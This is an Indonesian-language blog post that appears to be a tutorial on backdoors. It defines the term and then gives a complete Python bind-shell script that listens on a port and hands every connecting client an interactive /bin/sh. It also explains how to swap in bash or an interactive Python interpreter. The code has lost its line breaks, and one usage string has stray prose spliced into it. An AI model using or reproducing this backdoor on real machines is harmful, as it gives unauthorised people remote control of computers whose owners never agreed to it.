Sebelumnya kita kenalan dulu apa itu backdoor. Backdoor alias pintu belakang adalah aplikasi atau script yang memungkinkan kita mengendalikan komputer dari jalan yang bukan biasanya. Biasanya kita kalau ingin memakai komputer kita harus berada di depan monitor, terus login sebagai user, dsb. Itu disebut dengan pintu depan. Nah kalau backdoor kita juga bisa mengendalikan komputer tapi lewat jalan yang berbeda dan diluar kebiasaan. Yah.. namanya juga pintu belakang.
import socket, subprocess, os import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(('', int(sys.argv[1]))) except IndexError: print "Usage: %s <listen_port>Yang perlu diperhtikan adalah baris" % sys.argv[0] sys.exit(1) except socket.error as e: print e sys.exit(e.errno) s.listen(1) #Serve Forever :D while True: c = s.accept() os.dup2(c[0].fileno(), 0) os.dup2(c[0].fileno(), 1) os.dup2(c[0].fileno(), 2) p = subprocess.call(['/bin/sh', '-i']) c[0].close()
p = subprocess.call(['/bin/sh', '-i'])Shell mana yang kita ingin ambil alih. Pada contoh diatas kita akan mengambil alih shell sh-nya. Kalau kita ingin shell bash-nya, tinggal diganti aja /bin/sh menjadi /bin/bash. Kita bahkan bisa mengambil alih python interaktifnya!!
p = subprocess.call(['/usr/bin/python', '-i'])
Tidak ada komentar:
Posting Komentar